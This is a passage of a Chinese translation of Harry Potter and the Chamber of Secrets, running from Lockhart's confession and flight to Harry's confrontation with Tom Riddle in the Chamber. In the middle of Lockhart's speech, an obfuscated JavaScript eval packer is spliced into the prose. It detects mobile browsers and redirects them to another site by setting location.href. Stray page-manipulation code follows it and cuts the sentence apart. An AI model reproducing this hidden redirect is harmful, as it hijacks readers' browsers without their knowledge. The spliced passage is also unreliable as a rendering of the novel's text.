“我—— 我说过吗?我不记得...” “我当然记得你说的话,你说你没能在海格被抓走前与怪兽较量一番,很是遗憾。”斯内普说,“你不是还说,整个事情都被搞得一团糟,应该从一开始就放手让你去处理的吗?” 洛哈特目瞪口呆地望着那些板着脸的同事。“我...我真的从来没有...你们大概是误会了...” “那么,吉德罗,我们就让你去处理吧,”麦格教授说,“今晚正是你大显身手的绝好机会。我们保证不让任何人来妨碍你。你可以独自一个人去对付那个怪兽。现在终于放手让你去干了。” 洛哈特绝望地左右张望,但是没有一个人出来替他解围。他现在的样子一点也不英俊潇洒了。他的嘴唇哆嗦着,脸上没有了往常那种露出晶亮牙齿的微笑,显得下巴瘪瘪的,一副枯瘦憔悴的模样。 “那——那好吧,”他说,“我——我到我的办公室去,做好——做好准备。”说完他就离开了房间。 “行了,”麦格教授说,她的鼻孔扇动着,喷着粗气,“总算摆脱了他的妨碍。 现在,各学院的院长去通知学生发生了什么事情。告诉他们,霍格沃茨特快列车明天一早就送他们回家。其他老师要确保不让一个学生留在宿舍外面。老师们站起身,一个接一个地离开了。 这大概是哈利一生中最难熬的一天。他、罗恩、弗雷德和乔治坐在格兰芬多公共休息室的一个角落里,谁也说不出一句话。珀西不在。他派了一只猫头鹰给韦斯莱夫人送信,然后就把自己关在了宿舍里。 从来没有哪一个下午过得像今天这样缓慢,格兰芬多塔楼也从来没有像现在这样显得拥挤而又寂静。太阳快要落山的时候,弗雷德和乔治再也坐不住了,就回宿舍睡觉去了。 “她准是知道点什么,哈利。”罗恩说,这是他们躲进教工休息室的衣柜之后他第一次说话,“所以她才被抓走了。根本就与珀西做的傻事毫无关系。她肯定是发现了跟密室有关的情况。肯定是这样,所以她才会——”罗恩拼命地揉了揉眼睛,“我的意思是,她是个纯血种,本来轮不到她的。不可能有别的原因。” 哈利可以看见太阳红得像血一样,渐渐沉落到地平线以下。他心里从来没有像现在这样难过。哪怕他们能够做点什么也好啊。不管是什么。“哈利,”罗恩说,“你说,她是不是可能还没有——你知道——” 哈利不知道该说什么。他想不出金妮怎么可能还活着。 “你说呢?”罗恩说,“我认为我们应该去找找洛哈特。把我们知道的情况告诉他。他不是准备进入密室吗!我们可以对他说我们认为密室在哪里,并告诉他密室里的是一条蛇怪。” 哈利想不出别的办法,而他又希望做点什么,便同意了罗恩的提议。他们周围的格兰芬多学生们心情都很悲哀,而且都为韦斯莱兄弟感到难过,所以当哈利和罗恩起身穿过房间、钻出肖像洞口时,没有人试图阻拦他们。 他们下楼走向洛哈特的办公室时,夜幕已经降临了。办公室里面好像动静很大。他们可以听见摩擦声、撞击声,以及匆匆忙忙的脚步声。 哈利敲了敲门,里面突然安静了下来。接着,门打开了很细很细的一条缝,他们看见洛哈特的一只眼睛正朝外面窥视。 “哦...波特先生...韦斯莱先生...”他说,把门稍稍开大了一点儿。“我现在正忙着呢。希望你们有话快...” “教授,我们有一些情况要告诉你,”哈利说,“我们认为会对你有些帮助。” “唔——是这样——其实并不怎么——”他们看出洛哈特的这半边脸显得十分紧张。“我的意思是——唉——好吧。” 他打开门,让他们进去。 他的办公室差不多完全搬空了。两只大皮箱敞开着放在地板上。各种颜色的衣服,翠绿色的、淡紫色的、深蓝色的,被胡乱地叠放在其中一只皮箱里。各种图书乱七八糟地堆在另一只皮箱里。原来挂在墙上的那些照片都塞进了桌上的纸箱里。 “你要到什么地方去吗?”哈利问道。 “唔,是啊,是啊,”洛哈特一边说,一边从门背后扯下一张真人大小的他本人的招贴画,把它卷了起来,“接到一个紧急通知...躲不开...不得不去...” “那么我妹妹怎么办呢?”罗恩冲动地问。 “啊,至于那件事情——真是太不幸了。”洛哈特说,他避开他们俩的目光,用力拉开一只抽屉,把里面的东西装进一只大包,“没有谁比我更感到遗憾的了——” “你是黑魔法防御术课的老师啊!”哈利说,“你现在不能走!现在有这么多邪恶的东西在这里作祟!” “这个,这个,怎么说呢..当初我接受这份职务时...”洛哈特含糊不清地嘟囔着,一边把袜子堆在箱子里的衣服上面,“工作条例里并没有包括...我没想到...” “你是说你要逃跑?”哈利不敢相信地说,“可你写了那么多了不起的书啊?” “书是可以骗人的。”洛哈特狡猾地说。 “是你写的!”哈利喊道。 “我亲爱的孩子,”洛哈特直起身,皱起眉头看着哈利,“用你的常识思考一下吧。如果不让人们以为那些事情都是我做的,书的销路可就差远啦。读者不会愿意去读一个丑陋的美国老巫师的事迹,尽管他使一个村子里的人摆脱了狼人的祸害。把他的照片放在封面上,那还不难看死啦。他穿衣服一点品位也没有。还有那个驱逐万伦女鬼的巫婆,她是一个豁嘴!我的意思是,你想想看...” “所以你就把别人做的事情全部记在你自己的账上?”哈利难以置信地问。 “哈利呀,哈利,”洛哈特不耐烦地摇着头,说道,“可不像你说的那样简单。我的工作也不少呢。我要跟踪查找这些人。问他们究竟是怎么能够傲到那些事的。然后我还要给他们施一个遗忘魔咒,这样他们就会把这件事忘得一干二净。如果说我有什么值得骄傲的,那就是我的遗忘魔咒。你知道了吧,哈利,我也要付出很多很多辛苦呢。知道吗,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338718|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅仅是签名售书和拍名人照片。你想出名,就必须准备长时间的艰苦努力。” 他乒乒乓乓给皮箱盖上盖子,上了锁。 “让我想想,”他说,“东西部收拾齐了。噢,对了,还忘了一件事情。” 他抽出魔杖,转向哈利和罗恩。 “由衷地抱歉,孩子们,我不得不给你们施一个遗忘魔咒。不能让你们把我的秘密到处张扬。不然的话,我的书就别想卖出去了...” 哈利及时地拔出自己的魔杖。洛哈特刚把魔杖举起,哈利就大吼一声,“除你武器!” 洛哈特被击得倒退几步,摔倒在他的皮箱上。他的魔杖高高地飞到空中,被罗恩接住,扔到敞开的窗户外面去了。 “你不应该让斯内普教授教我们那个咒语的。”哈利气愤地说,一脚把洛哈特的箱子踢到一边。洛哈特抬头看着他,那模样显得更枯瘦憔悴了。哈利仍然用魔杖指着他。 “你们想要我做什么?”洛哈特虚弱地说,“我可不知道密室在哪里。我什么也不会。” “算你运气好,”哈利说,他用魔杖指着洛哈特,强迫他站起身来,“我们碰巧知道密室在哪里。还知道密室里关着什么。走吧。” 他们押着洛哈特走出他的办公室,沿着最近的一道楼梯下去,走过墙上闪着那些文字的昏暗走廊,来到哭泣的桃金娘的盥洗室门口。他们派洛哈特走在最前面。哈利开心地看见他浑身发抖。哭泣的桃金娘正坐在最里面的一个抽水马桶的水箱上。 “噢,是你,”她看见哈利,说道,“这次你想要什么?” “想问问你是怎么死的。”哈利说。桃金娘的整个神态一下子就变了。看样子,从来没有人问过她这样一个让她感到荣幸的问题。 “哎哟哟,太可怕了,”她津津有味地说,“事情就在这里发生的,我就死在这间厕所里,我记得非常清楚。当时,奥利夫洪贝嘲笑我戴着眼镜像四眼狗,我就躲到这里来了。我把门锁上,在里面哭,突然听到有人进来了。他们说的话很滑稽。我想一定是另外一种语言吧。不过最让我感到恼火的是,我听见一个男孩的声音在说话。于是我就把门打开,呵斥他走开,到自己的男生厕所去,然后——”桃金娘自以为很了不起地挺起胸膛,脸上容光焕发,“我就死了。” “怎么死的?”哈利问。“不知道,”桃金娘神秘地压低声音说,“我只记得看见一对大得吓人的黄眼睛。我的整个身体好像都被抓了起来,然后我就飘走了...”她神情恍惚地看着哈利。“后来我又回来了。你知道,我一心要找奥利夫洪贝算账。哦,她非常后悔当初嘲笑我戴眼镜。” “你到底是在哪儿看见那双眼睛的?”哈利问。 “差不多就在那儿吧。”桃金娘说,很模糊地指了指她前面的水池。哈利和罗恩赶紧走过去。洛哈特慌忙退到一边,脸上露出万分惊恐的表情。那个水池看上去很平常。 他们把它里里外外、上上下下检查了一番,连下面的水管子也没有放过。接着,哈利看见了:在一个铜龙头的侧面,刻着一条小小的蛇。 “这个龙头从来都不出水。”桃金娘看到哈利想把龙头拧开,高兴地说。 “哈利,”罗恩说,“你说几句话。用蛇佬腔说几句话。” “可是——”哈利拼命地想。以前,他总是在面对一条真蛇时才能说蛇佬腔。他死死地盯着那条刻出来的小蛇,试着把它想象成一条真蛇。 “打开。”他说。 他抬头看着罗恩,罗恩摇了摇头。 “不行,你说的是人话。”他说。 哈利又转过头去望着那条蛇,强迫自己相信它是活的。哈利想,如果他把头晃动几下,那么摇曳的烛光就会使那条蛇看上去仿佛在动似的。 “打开。”他说。 然而,听到的不是这句话,从他嘴里发出的是一种奇怪的嘶嘶声。顿时,龙头发出一道耀眼的白光,开始飞快地旋转。接着,水池也动了起来。他们眼看着水池慢慢地从视线中消失了,露出一根十分粗大的水管,可以容一个人钻进去。 哈利听见罗恩倒抽了一口冷气。他抬起头来,心里已经拿定了主意要怎么做了。 “我要下去。”他说。 他不能不去,既然他们已经找到了密室的入口,既然还有很细小、很微弱、很渺茫的一线希望:金妮也许还活着。 “我也去。”罗恩说。 片刻的沉默。 “好吧,看来你们不需要我了,”洛哈特说,脸上又露出了一丝丝他惯有的那种笑容,“我就——” 他伸手抓住门把手,可是罗恩和哈利都用魔杖指向了他。 “你可以第一个下去。”罗恩吼道。 失去了魔杖的洛哈特脸色煞白,慢慢地走近洞口。 “孩子们,”他说,声音可怜兮兮的,“孩子们,这有什么用呢?” 哈利用魔杖捅了捅他的后背,洛哈特把双腿伸进管子。 “我真的认为这样不——”他还想往下说,可是罗恩推了他一把,他就一下子滑了下去,看不见了。哈利紧跟着也慢慢钻进管子,然后一松手,让自己滑落下去。 那感觉就像飞快地冲下一个黑暗的、黏糊糊的、没完没了的滑道。他可以看见还有许多管子向四面八方岔开,但都没有这根管子这么粗。他们的这根管子曲曲折折,七绕八绕,坡度很陡地一路向下。 哈利知道他已经滑落到学校地底下很深很深的地方,甚至比那些地下教室还要深。他可以听见罗恩跟在他后面,在拐弯处发出轻微的碰撞声。 接着,就在他开始为接下来的事情感到担心时,他突然落到了地面上。水管变成了水平的,他从管口冒了出来,噗的一声跌在潮湿的地上。这是一条黑暗的石头隧道,大得可以容人站在里面。在离他很近的地方,洛哈特正从地上爬起来,浑身黏泥,脸色苍白得像一个幽灵。哈利站到一边,罗恩也呼地从管子里冒了出来。 “我们肯定到了学校下面好几英里深的地方。”哈利说,他的声音在漆黑的隧道里回响。 “大概到了湖底下。”罗恩说。他眯起眼睛,打量着周围黑黝黝、黏糊糊的墙壁。 然后,他们三个人都转眼盯着黑暗的前方。 “荧光闪烁!”哈利朝他的魔杖低声说了一句,魔杖便又发出了亮光。“走吧。”他对罗恩和洛哈特说。三个人豹脚啦嗒啪嗒地踩在潮湿的地面上,发出很响的声音。 隧道里太黑了,他们只能看见面前的一小块地方。魔杖的光把他们的影子映在湿乎乎的墙壁上,看上去像妖怪一样。 “记住,”当他们小心地往前走着时,哈利低声说道,“只要一有动静,就赶紧闭上眼睛...” 可是隧道里像坟墓一样寂然无声,他们只听见一个出乎意料的声音,咔啪,结果发现是罗恩踩到了一个老鼠头骨。哈利把魔杖放低,查看地面,发现到处都有一些小动物的骨头。哈利拼命克制住自己,不去想象金妮被他们找到时会是什么样子。他领头向前面走,转过隧道里一个黑暗的弯道。 “哈利,那儿有个什么东西...”罗恩一把抓住哈利的肩膀,声音嘶哑地说。 三个人顿时呆立不动,注视着。哈利看见一个盘绕着的庞然大物的轮廓,躺在隧道的另一边,一动不动。 “也许它睡着了。”他喘着气说,回头望了望另外两个人。洛哈特用手紧紧按住自己的眼睛。哈利又转过头去看着那庞然大物,他的心跳得飞快,感到胸膛里隐隐作痛。 哈利尽可能地把眼睛眯得很小很小,同时又能看见东西。他侧着身子慢慢向前移动,手里高高地举着魔杖。 光线照在一副巨大的蛇皮上,绿盈盈的,十分鲜艳,一看就是一条毒蛇的皮,盘绕着躺在隧道的地面上,里面是空的。显然,那个刚褪下这层皮的动物至少有二十英尺长。 “天哪。”罗恩无力地叹了一声。 他们身后突然传来一个动静。是吉德罗·洛哈特膝盖一软,瘫倒了。 “起来。”罗恩严厉地说,用魔杖指着洛哈特。 洛哈特站了起来——他扑向罗恩,把他撞翻在地。 哈利冲上前去,可是已经来不及了。洛哈特气喘吁吁地站起身来,手里拿着罗恩的魔杖,脸上又挂着他那特有的笑容,露出了晶亮的牙齿。 “孩子们,你们的冒险到此结束了!”他说,“我要把这张皮带到学校去,对他们说,我来晚了,没能救得了那个姑娘,而你们一看见她血肉模糊的尸体,就令人痛心地丧失了理智。 “向你们的记忆告别吧!” 他把罗恩那根失灵的魔杖高高举过头顶,大喊一声:“一忘皆空!” 嘭!魔杖突然爆炸了,其威力不亚于一枚小炸弹。 哈利用胳膊护住脑袋,撒腿就跑,被盘绕着的蛇皮绊倒,躲过了从隧道天花板上崩落到地面上的大块碎石。然后,他站起来,独自面对着一堵厚厚的碎石墙。 “罗恩!”他喊道,“你没事吧?罗恩!” “我在这里!”碎石墙后面传来罗恩发闷的声音。“我没事。不过这个笨蛋可倒了霉——他被魔杖击中了。” 随着一记沉闷的撞击声,有人大声惨叫:“唉哟。”从声音听,似乎罗恩踢中了洛哈特的小腿肚子。 “现在怎么办呢?”罗恩说,声音显得很绝望,“我们过不去了。要花好长时间才能...” 哈利抬头望望隧道的天花板,那里出现了几道巨大的裂口。他从来没有试过用魔法分开像这些岩石这么大的东西,而现在进行尝试似乎不太合适——万一整个隧道都塌下来呢?岩石那边又传来一声撞击和一声“唉哟”。他们在浪费时间。金妮已经在密室里待了好几个小时了。哈利知道,眼下只有一个办法。 “在这儿等着,”他大声对罗恩说,“和洛哈特一起等着。我继续往前走。如果我一小时之内没有回来..” 接着是片刻意味深长的停顿。 “我来看看能不能把这块石头搬走,”罗恩说,似乎竭力使语调保持平稳,“这样你就能——就能钻回来了。还有,哈利——” “待会儿见。”哈利说,他努力给自己颤抖的声音里注入一些自信。 然后,他独自走过了那张巨大的蛇皮。 很快,罗恩吭哧吭哧搬石头的声音听不见了。 隧道转了一个弯又一个弯。哈利的每一根神经都在很不舒服地颤抖着,他希望快点走到隧道的尽头,同时又害怕隧道真的到了尽头。 最后,他小心地转过又一个弯道,终于发现前面立着一堵结结实实的墙,上面刻着两条互相缠绕的蛇,它们的眼睛里镶着大大的、闪闪发亮的绿宝石。 哈利一步步地走近,感到喉咙发干。现在不需要把这两条石头蛇假想成真的了,它们的眼睛看上去跟活的一模一样。 哈利猜到他必须怎么做了。他清了清喉咙,那绿宝石的眼睛似乎在闪烁。 “打开。”哈利用低沉的、暗哑的嘶嘶声说。 两条蛇分开了,石墙从中间裂开,慢慢滑到两边消失了。哈利浑身颤抖着,走了进去 36. 斯莱特林的继承人 他也站在一间长长的、光线昏暗的房间的一侧。许多刻着盘绕纠缠的大蛇的石柱,高耸着支撑起消融在高处黑暗中的天花板,给弥漫着绿盈盈而神秘的氤氲的整个房间投下一道道长长的诡谲的黑影。 哈利的心怦怦狂跳着,他站在那里,倾听着这令人胆寒的寂静。蛇怪是不是就潜伏在某个石柱后面的黑暗角落里?金妮在什么地方? 他拔出自己的魔杖,在巨蛇盘绕的石柱间慢慢前进。他每小心翼翼地迈出一步,都在鬼影幢幢的四壁间产生空洞、响亮的回声。他一直眯着眼睛,准备一有风吹草动,就把眼睛紧紧闭上。他总觉得那两只石蛇的空眼窝始终都在跟随着他。不止一次,他仿佛看见了什么动静,紧张得肚子都痉挛起来。当他走到与最后一对石柱平行时,眼前赫然出现了一座和房间本身一样高的雕像,紧贴在后面黑乎乎的墙壁上。 哈利必须高高地仰起脖子,才能看见上面那副巨大的面孔:那是一张老态龙钟的、猴子般的脸,一把稀稀拉拉的长胡须,几乎一直拖到石头刻成的巫师长袍的下摆上,两只灰乎乎的大脚板站在房间光滑的地板上。在那两只脚之间,脸朝下躺着一个穿黑色长袍的小身影,头发红得像火焰一般。 “金妮!”哈利低声唤道,急步奔到她身边,跪了下来。“金妮!你不要死!求求你,千万别死!” 他把魔杖扔到一边,抓住金妮的肩膀,把她翻转过来。她的脸像大理石一样,冷冰冰的,毫无血色,但她的眼睛是闭着的,这么说她没有被石化。那么,她一定是... “金妮,求求你醒醒吧。”哈利绝望地摇晃着她,低声哀求道。金妮的脑袋毫无生气地耷拉着。 “她不会醒了。”一个声音轻轻地说。哈利大吃一惊,跪着转过身来。 一个黑头发的高个子男孩靠在最近的那根石柱上,正注视着他。那男孩的轮廓模糊不清,十分奇怪,就好像哈利是隔着一层雾蒙蒙的窗户看着他。但毫无疑问就是他。 “汤姆——汤姆·里德尔?”里德尔点了点头,眼睛没有离开哈利的脸。“你这是什么意思?她不会醒了?”哈利气急败坏地问,“她没有——她没有——?” “她还活着,”里德尔说,“但也活不了多久了。” 哈利愣愣地瞪着他。汤姆·里德尔是霍格沃茨五十年前的学生,可是现在他站在这里,周身散发着一种古怪的、雾蒙蒙的微光,那样子绝不会超过十六岁。 “你是鬼魂吗?”哈利不敢肯定地问。 “是一段记忆,”里德尔平静地说,“在一本日记里保存了五十年。” 他伸手指着雕像的大脚趾旁。那里躺着哈利在哭泣的桃金娘的盥洗室里发现的那本日记。哈利一时很想不通它怎么会到那里去的——但是他还有更加紧迫的事情要处理。 “你必须帮助我,汤姆。”哈利说着,又扶起金妮的头,“我们必须把她从这里弄出去。有一个蛇怪...我不知道在哪里,但它随时都可能过来。求求你,帮帮我吧...” 里德尔没有动弹。哈利满头大汗,总算把金妮从地上半抱起来,他叉俯身去捡他的魔杖。可是魔杖不见了。“你有没有看见——” 他一抬头,里德尔仍然注视着他——修长的手指间玩弄着哈利的魔杖。“谢谢。”哈利说,伸手去拿魔杖。里德尔的嘴角露出一个古怪的微笑。他继续盯着哈利,漫不经心地把玩着魔杖。 “你听我说,”哈利焦急地说,死沉死沉的金妮压得他膝盖发软,“我们必须走!如果蛇怪来了...” “它不受到召唤是不会来的。”里德尔无动于衷地说。 哈利把金妮重新放回到地板上,他再也抱不动她了。 “你这是什么意思?”他说,“快点,把魔杖给我,我可能会需要它的。” 里德尔的笑容更明显了。 “你不会需要它了。”他说。 哈利吃惊地望着他。 “你说什么,我不会——” “哈利·波特,我等了很长时间,”里德尔说,“希望有机会看到你。跟你谈谈。” “哎呀,”哈利渐渐失去了耐心,说道,“你大概还没有明白我的意思。我们现在是在密室里。我们不妨以后再谈。” “必须现在就谈。”里德尔说,脸上仍挂着明显的笑容,他把哈利的魔杖揣进了自己的口袋。 哈利目瞪口呆地看着他。这里发生的事情真是太古怪了。 “金妮怎么会变成这样的?”他慢慢地问。 “哦,这可是一个有趣的问题,”里德尔愉快地说。“说来话长啊。据我看,金妮·韦斯莱之所以会变成这样,真正的原因就是她向一个看不见的陌生人敞开了心扉,倾诉了自己的全部秘密。” “你在说些什么呀?”哈利说。 “日记,”里德尔说,“我的日记。好几个月来,小金妮一直在上面写她的心里话,向我诉说她令人心疼的烦恼和悲哀:她怎样被哥哥们取笑,怎样不得不穿着旧长袍、拿着旧书来上学,还有,她认为——”里德尔的眼睛狡猾地闪烁着,“——认为大名鼎鼎的、善良的、伟大的哈利·波特永远也不会喜欢她...” 里德尔说话的时候,目光始终没有离开哈利的脸。他的眼睛里隐藏着一种近乎贪婪的神情。 “太乏味了,听一个十一岁小姑娘讲她那些幼稚的烦心事,”他继续说道,“但是我耐着性子,写出一些话答复她,我是慈祥的、善解人意的。金妮简直爱上我了。哦,汤姆,没有人像你这样理解我...我真高兴得到了这本日记,可以向你诉说知心话..就像是拥有一个可以放在口袋里随身携带的朋友...” 里德尔发出一声冷冰冰的刺耳的大笑,不像是一个十六岁的孩子发出来的。这使哈利脖子后面的汗毛根根竖起。 “不是我自己吹嘘,哈利,我一向能够随心所欲地把人迷惑住。所以,金妮把她的整个灵魂都向我敞开了,而她的灵魂偏巧正是我所需要的。我吞食着她最隐秘的恐惧,最深藏的秘密,胃口越来越大。我渐渐强大起来,比小小的韦斯莱小姐要强大得多。强大得足以向韦斯莱小姐透露我的几桩秘密,开始把我的一小部分灵魂也向她敞开...” “你说什么?”哈利问,觉得嗓子眼里干得要冒火。 “你难道还猜不出来吗,哈利·波特?”里德尔轻声细语地说,“是金妮·韦斯莱打开了密室。是她掐死了学校里的公鸡,并在墙上涂抹那些吓人的文字。是她放出斯莱特林的蛇怪,袭击了四个泥巴种,还有那个哑炮的瘦猫。” “不可能。”哈利喃喃地说。 “是啊,”里德尔仍然平心静气地说,“当然啦,起先她不知道自己在做什么。这是非常有趣的。我真希望你能看看她新写的几篇日记...真是越来越有意思了...亲爱的汤姆,” 他注视着哈利惊恐的眼睛,背诵着日记里的内容,“我觉得自己好像在失去记忆。我的袍子上到处都是鸡毛,我不知道它们是怎么弄上去的。亲爱的汤姆,我不记得万圣节前夜我都做了什么,但是一只猫遇害了,而我的胸前沾满了颜料。亲爱的汤姆,珀西总是对我说我脸色不好,样子也有些反常。我觉得他可能怀疑我了...今天又发生了一起攻击事件,我想不起当时我在哪里。汤姆,我该怎么办呢?我觉得自己快要疯了...我觉得我就是那个袭击所有这些人的凶手,汤姆!” 哈利的拳头攥紧了,指甲深深地陷进肉里。 “过了很长很长时间,傻乎乎的小金妮才不再信任她的日记本了。”里德尔说,“她终于起了疑心,试图把它扔掉。你就是那个时候插进来的,哈利。你发现了它,我真是再高兴不过了。没想到在这么多人里面,居然是你捡到了这本日记,你是我最迫切想见的人啊...” “你为什么想见我?”哈利问。他气得浑身冒火,费了很大力气才使语调保持了平稳。 “噢,是这样的,哈利,金妮把你的情况都告诉我了,”里德尔说,“你的那些惊险迷人的往事。”他的目光掠过哈利前额上那道闪电形伤疤,脸上的神情变得更饥渴了。“我知道,我必须更多地了解你,跟你谈谈,如果可能的话还要亲自见到你。所以我决定让你亲眼目睹我抓住海格那个大蠢货的著名壮举,以获取你对我的信任。” “海格是我的朋友,”哈利说,声音现在有些颤抖了,“你诬陷了他,是吗?我还以为你是弄错了,没想到——” 里德尔又发出他那种尖厉刺耳的狂笑。 “是我揭发海格的,哈利。你可以想象一下,摆在阿曼多·迪佩特老先生面前的是个什么情况。一面是我,汤姆·里德尔,出身贫寒但聪明过人,父母双亡但智勇双全,是学校里的级长,模范学生;另一面呢,是傻大个海格,粗手笨脚,惹是生非,每隔一星期就要闯一次祸,他在床底下养狼人崽子。溜到禁林去跟巨怪搏斗。不过我得承认,就连我自己也没有想到计划执行得这样顺利。我还以为肯定有人会意识到,海格不可能是斯莱特林的继承人呢。我花了整整五年时间,才想方设法弄清了密室的情况,发现了那个秘密入口...难道海格有这样的头脑,有这样的能力吗?“似乎只有变形课老师邓布利多一个人认为海格是无辜的。他劝说迪佩特留下海格,把他培养成狩猎场看守。是的,我认为邓布利多大概有所察觉了。邓布利多似乎一直不像其他老师那样喜欢我...” “我敢说邓布利多早把你看透了。” 哈利咬牙切齿地说。 “是啊,自从海格被开除后,他就一直密切地监视着我,非常讨厌。”里德尔漫不经心地说,“我知道,我在学校的时候再打开密室就不保险了。但是我不想把这么多年寻找密室的努力付诸东流。我决定留下一本日记,在那些纸页里保存那个十六岁的我,这样,有朝一日,凭借运气,我就可以引导另一个人沿着我的足迹,完成萨拉查·斯莱特林高贵的事业。” “可是,你并没有完成,”哈利得意地说,“这次一个人也没死,就连那只猫也没死。几个小时之内,曼德拉草药水就配制好了,那些被石化的人就都可以活过来了。” “我刚才不是对你说过了吗?”里德尔轻声慢语地说,“对我来说,杀死泥巴种已经不重要了。许多月来,我的新目标一直是——你。” 哈利惊愕地瞪着他。 “当我的日记又一次被打开时,在上面写字的居然是金妮,而不是你,你想象一下我是多么恼火吧。你知道吗,她看见日记到了你手里,非常紧张。万一你发现了日记的使用方法,我把她的秘密都透露给你呢?或者更糟糕的是,万一我告诉你是谁掐死了学校的公鸡呢?所以,这个蠢头蠢脑的小家伙就等到你宿舍没人的时候,进去把日记偷了出来。但是我知道自己必须怎么做。我看得出来,你在寻找斯莱特林的继承人。从金妮向我透露的你的情况看,我知道你会想尽一切办法解开这个秘密——特别是你一个最好的朋友也遭到了袭击。金妮曾经告诉过我,大家纷纷议论你会说蛇佬腔,整个学校都炸开了锅...” “所以,我让金妮自己在墙上写了一行绝命书,来到这下面等着。她拼命挣扎,大哭大闹,真令人烦躁。但是她身体里已经没有多少生命了:她把大部分生命都注入了日记,注入到我身上,使我终于可以离开日记本了。自从我和金妮到了这里以后,我就一直在等你。我知道你会来的。我有许多问题等着问你呢,哈利·波特。” “什么问题?”哈利厉声问道,拳头仍然攥得紧紧的。 “比如说,”里德尔说,脸上露出快意的微笑,“一个婴儿,没有任何特别神奇的法术,是怎么打败有史以来最伟大的巫师的?你怎么能够安然无恙地逃脱,只留下一道伤疤,而伏地魔的力量却被摧毁了?”现在,他饿狼似的眼睛里闪着一种古怪的红光。 “你为什么关心我是怎么逃脱的?”哈利拖长了声音问,“伏地魔的事发生在你死后许多年。” “ 伏地魔, ” 里德尔轻声地说, “是我的过去、现在和未来,哈利·波特...” 他从口袋里抽出哈利的魔杖,在空中画了几下,写出三个闪闪发亮的名字:汤姆·马沃罗·里德尔。 然后他把魔杖挥了一下,那些字母自动调换了位置,变成了:我是伏地魔。 “看见了吗?”他小声说,“这个名字是我在霍格沃茨读书的时候就用过的,当然啦,只对我最亲密的朋友用过。难道你认为,我要一辈子使用我那个肮脏的麻瓜父亲的名字?要知道,在我的血管里,流淌着萨拉查·斯莱特林本人的鲜血,是通过他的女儿传给我的!难道我还会保留那个令人恶心的普通麻瓜的名字?他在我还没有出生时就抛弃了我,就因为他发现自己的妻子是个女巫!不,哈利。我给自己想出了一个新的名字,我知道有朝一日,当我成为世界上最伟大的魔法师时,各地的巫师都不敢轻易说出这个名字!” 哈利的脑子似乎僵住了。他木木地望着里德尔,就是这个人,曾经是一个父母双亡的孤儿,长大成人后居然杀死了哈利的父母,还有那么多其他的人...最后,哈利终于强迫自己开口说话。 “你不是。”他说,他平静的声音里充满仇恨。“不是什么?”里德尔厉声地问。 “不是世界上最伟大的魔法师,”哈利呼吸急促地说,“很抱歉让你失望了,不过,世界上最伟大的巫师是阿不思·邓布利多。每个人都这么说。即使在你力量强大的时候,你也不敢试图控制霍格沃茨。邓布利多在你上学的时候就看透了你,他现在仍然令你闻风丧胆,不管你这些日子躲在哪里。” 里德尔脸上的笑容消失了,换上了一副非常丑陋的表情。“我只不过利用了我的记忆,就把邓布利多赶出了这座城堡!”他咬牙切齿地说。“你想得倒美,他并没有走!”哈利反驳道。他是随口说的,只想把里德尔吓住,他希望自己所说的话是真的,但不敢相信。 里德尔张开嘴巴,刚要说话,却突然愣在了那里。 不知从什么地方飘来了音乐声。里德尔猛地转过身去,望着空荡荡的密室。音乐声越来越响了。这声音虚幻飘渺,空灵神秘,听了令人亢奋。它使哈利头皮上的头发都竖了起来,使他的心房胀大得有原来的两倍。 音乐声越来越高,最后哈利觉得它似乎就在自己的胸腔里振动。就在这时,最近的那根石柱顶上突然喷出了火焰。 一只深红色的鸟突然从天而降,有仙鹤那么大,在拱形的天花板上演奏着它那古怪的音乐。它有一条金光闪闪的尾巴,像孔雀尾巴一样长,还有一对金光闪闪的爪子,爪子上抓着一个破破烂烂的包裹。 一秒钟后,大鸟径直朝哈利飞来。它把爪子上那个破破烂烂的东西扔在哈利脚边,然后重重地落在哈利的肩头。当它收拢两扇巨大的翅膀时,哈利抬起头来,看见它有一个长长的、尖利的金喙和两只亮晶晶的黑眼睛。大鸟停止了歌唱。它静静地坐在哈利肩头,热乎乎地贴着哈利的面颊,目光坚定地注视着里德尔。 “是一只凤凰...”里德尔也同样恶狠狠地瞪着它,说道。 “福克斯?”哈利吃惊得简直喘不过气来,感到大鸟的金爪子轻轻抓着他的肩膀。 “那玩意儿——”里德尔又将目光转向福克斯刚才扔下的那个破破烂烂的东西,“是学校的那顶破分院帽。” 果然是它。脏兮兮、皱巴巴的,上面还打着补丁,一动不动地躺在哈利脚下。里德尔又狂笑起来。他笑得太厉害了,震得黑暗的密室微微发颤,就仿佛有十个里德尔同时在放声大笑。 “那就是邓布利多送给他的保护人的东西!一只会唱歌的鸟和一顶破帽子!哈利·波特,你觉得有胆量了吗?你觉得安全了吗?” 哈利没有回答。他也许看不出福克斯和分院帽有什么用,但他觉得不再孤单了,他带着逐渐增长的勇气,等着里德尔停止他的狂笑。 “言归正传,哈利,”里德尔说,脸上仍然很得意地笑着,“在你的过去,我的未来,我们一共遭遇了两次。两次我都没能杀死你。你是怎么死里逃生的?把一切都告诉我吧。你的话有多长,你的小命就能保持多长。” 哈利在飞快地思索着,权衡着他获胜的机会。里德尔拿着魔杖。他,哈利,拥有福克斯和分院帽,这两样东西在决斗中都没有多大用处。确实,情况很不妙。但是,里德尔站在那里的时间越长,金妮身上的生命就越来越少...与此同时,哈利突然发现,里德尔原本模糊不清的轮廓正在变得清晰、稳定。如果他和里德尔之间必须有一番搏斗,那是越快越好。 “你对我下手的时候为什么突然丧失了力量,谁也不知道,”哈利生硬地说道,“我自己也不清楚。但是我知道你为什么没能杀死我。因为我母亲是为了救我而死的。那普普通通的麻瓜出身的母亲,”他接着说道,因为拼命压抑着怒火而浑身发抖,“她阻止你杀死我。我看见过真实的你,去年我又看见了你。你只剩下了一堆破烂,只能算是半死不活。看你原来神通广大,结果却落到这个下场。你东躲西藏,你是丑八怪,令人作呕!” 里德尔的脸扭曲了。然后他又强挤出一个狰狞的笑容。 